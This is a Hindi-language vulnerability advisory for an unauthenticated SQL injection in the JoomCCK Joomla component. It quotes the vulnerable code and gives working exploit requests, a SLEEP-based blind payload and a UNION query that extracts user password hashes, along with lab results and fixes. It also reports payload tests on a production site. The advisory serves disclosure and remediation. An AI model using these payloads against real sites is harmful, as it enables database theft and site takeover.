
CVE-2026-49048 — JoomCCK 6.4.0 अप्रमाणित SQL इंजेक्शन (CVSS 9.8)
CVE: CVE-2026-49048
स्थिति: सार्वजनिक प्रकटीकरण। Joomla Security Strike Team (JSST) को रिपोर्ट किया गया — टिकट #282420।
| फ़ील्ड | मान |
|---|---|
| सलाहकार ID | JOOMCCK-2026-001 |
| CVE | CVE-2026-49048 |
| उत्पाद | JoomCCK (com_joomcck) — Joomla के लिए Content Construction Kit |
| विक्रेता | JoomCoder — https://www.joomcoder.com |
| प्रभावित | 6.4.0 (खोज के समय नवीनतम; पूर्ववर्ती 6.x प्रभावित माने गए) |
| ठीक किया गया संस्करण | लेखन के समय कोई नहीं |
| प्रकार | अनुपलब्ध प्राधिकरण (CWE-862) के माध्यम से SQL इंजेक्शन (CWE-89) |
| प्रमाणीकरण आवश्यक | कोई नहीं — अनधिकृत, प्री-ऑथ |
| गंभीरता | गंभीर — CVSS 3.1 आधार स्कोर 9.8 |
| CVSS वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| खोजकर्ता | Kamil Soltanov |
| संपर्क | [email protected] |
| खोज की तिथि | 2026-06-22 |
Joomla 4/5/6 घटक JoomCCK एक फ्रंट-एंड कंट्रोलर कार्य (task=tags.save) को उजागर करता है जो उपयोगकर्ता-प्रदत्त tag पैरामीटर को बिना एस्केपिंग या पैरामीटराइज़ेशन के सीधे SQL में जोड़ता है। घटक का कस्टम MVC डिस्पैचर कोई CSRF टोकन जाँच और कोई एक्सेस-कंट्रोल जाँच नहीं करता है, जिससे इंजेक्शन पूरी तरह से अनधिकृत रिमोट हमलावर द्वारा पहुँच योग्य हो जाता है।
सफल शोषण Joomla डेटाबेस तक पूर्ण पठन पहुँच की अनुमति देता है — जिसमें #__users पासवर्ड हैश भी शामिल हैं — UNION-आधारित और समय-आधारित ब्लाइंड SQL इंजेक्शन के माध्यम से, जिससे साइट का पूर्ण समझौता होता है।
libraries/mint/mvc/controller/base.php — MControllerBase::execute():
public function execute($task)
{
$this->task = $task;
$task = !is_null($task) ? strtolower($task) : '';
$doTask = $this->taskMap[$task];
...
return $this->$doTask(); // Invoked with no checkToken(), no authorise()
}
उसी क्लास में authorise() मेथड एक no-op है जो बिना शर्त true लौटाता है।
एंट्री पॉइंट components/com_joomcck/joomcck.php बिना किसी लॉगिन, टोकन या ACL गेट के execute(input->get('task')) को कॉल करता है → हर सार्वजनिक कंट्रोलर मेथड एक अनऑथेंटिकेटेड टास्क है।
tags.save में SQL इंजेक्शन (CWE-89)components/com_joomcck/models/tags.php — _saveTag():
$tag = $app->input->getString('tag'); // Joomla 'STRING' filter: strips HTML but NOT SQL quotes
$query = ' SELECT a.* FROM #__js_res_tags AS a WHERE a.tag = "' . $tag . '"'; // INJECTABLE
$exist_item = $this->_getList($query);
// Later:
$query = 'UPDATE #__js_res_tags SET tag = "' . $tag . '" WHERE id =' . $id; // INJECTABLE
Joomla का STRING इनपुट फ़िल्टर HTML टैग्स को हटा देता है लेकिन " को अपरिवर्तित पास कर देता है — वही अक्षर जो यहाँ SQL स्ट्रिंग डिलिमिटर के रूप में उपयोग होता है। उद्धृत लिटरल से बाहर निकलने पर मनमाना SQL इंजेक्ट हो जाता है।
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20OR%20SLEEP(5)--%20- HTTP/1.1
Host: target.example.com
अपेक्षित: प्रतिक्रिया ≥ 5 सेकंड विलंबित (प्रत्येक मिलान पंक्ति के अनुसार)।
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20UNION%20SELECT%20id,username,password%20FROM%20%23__users--%20- HTTP/1.1
Host: target.example.com
पूर्ण PoC कोड और कैप्चर किया गया साक्ष्य ट्रांसक्रिप्ट poc/ में हैं।
मुख्य लैब परिणाम:
पेलोड (tag=) | परिणाम |
|---|---|
cars (सौम्य) | 1 पंक्ति लौटाई गई — सामान्य |
zzz" OR "1"="1 | " एस्केप नहीं हुआ → सभी पंक्तियाँ लौटाई गईं (इंजेक्शन की पुष्टि) |
zzz" UNION SELECT id,username,password FROM jos_users-- - | एडमिन पासवर्ड हैश चुराया गया |
zzz" OR SLEEP(3)-- - | प्रतिक्रिया में 9.0 s की देरी (3 पंक्तियाँ × 3 s) |
लैब हार्नेस वास्तविक
Joomla\Input\Input::getString()और लाइव MariaDB 11.8 इंस्टेंस के विरुद्ध शब्दशः_saveTag()क्वेरी का उपयोग करता है।
एक अनधिप्रमाणित रिमोट हमलावर यह कर सकता है:
UPDATE के माध्यम से #__js_res_tags में पंक्तियाँ संशोधित कर सकता हैtask=tags.delete और task=records.copy के साथ श्रृंखलाबद्ध कर सकता है (ये भी अनधिप्रमाणित — वही डिस्पैचर दोष)वही डिस्पैचर दोष अतिरिक्त अनधिप्रमाणित कार्यों को उजागर करता है:
| कार्य | प्रभाव |
|---|---|
tags.delete | बिना प्रमाणीकरण के कोई भी टैग हटाएँ |
records.copy | बिना प्रमाणीकरण के कोई भी रिकॉर्ड डुप्लिकेट करें |
ajax.category_records | श्रेणी के अनुसार रिकॉर्ड की गणना करें |
ajax.tags_list | सभी टैग सूचीबद्ध करें |
ajax.users_filter | उपयोगकर्ता नामों की गणना करें |
ajax.loadfieldparams | फ़ील्ड कॉन्फ़िगरेशन का खुलासा करें |
नोट: कई records.* कार्य आंतरिक रूप से _checkAccess() के माध्यम से ACL लागू करते हैं और प्रभावित नहीं हैं।
1. सभी क्वेरी को पैरामीटराइज़ करें (Joomla क्वेरी बिल्डर):
$db = $this->getDatabase();
$tag = $app->input->getString('tag');
// SELECT
$query = $db->getQuery(true)
->select('a.*')
->from($db->quoteName('#__js_res_tags', 'a'))
->where($db->quoteName('a.tag') . ' = ' . $db->quote($tag));
// UPDATE
$upd = $db->getQuery(true)
->update($db->quoteName('#__js_res_tags'))
->set($db->quoteName('tag') . ' = ' . $db->quote($tag))
->where($db->quoteName('id') . ' = ' . (int) $id);
2. डिस्पैचर में प्राधिकरण लागू करें — सभी स्टेट-चेंजिंग कार्यों से पहले Session::checkToken() और एक ACL जाँच (Factory::getApplication()->getIdentity()->authorise(...)) जोड़ें, जो files.upload पर पहले से मौजूद सुरक्षाओं की तरह हो।
| तारीख | घटना |
|---|---|
| 2026-06-22 | स्थानीय लैब PoC के माध्यम से भेद्यता की खोज और सत्यापन |
| 2026-06-22 | एडवाइज़री तैयार; Joomla Security Strike Team (JSST) और VEL को रिपोर्ट किया गया |
| 2026-06-23 | JSST ने पुष्टि की — David Jardin, टिकट #282420। JSST के माध्यम से विक्रेता (JoomCoder) समन्वय |
| 2026-06-25 | एक प्रोडक्शन Joomla साइट पर इन-द-वाइल्ड पुष्टि: SLEEP(5) → 115 s प्रतिक्रिया; UNION पर MySQL त्रुटि 1222 (गैर-विनाशकारी, कोई डेटा एक्सफ़िल्ट्रेशन नहीं) |
| TBD | विक्रेता पैच |
| TBD | CVE आवंटन |
| TBD | सार्वजनिक डिस्क्लोज़र (90-दिन समन्वित विंडो) |
स्वतंत्र सुरक्षा शोधकर्ता।
संपर्क: [email protected]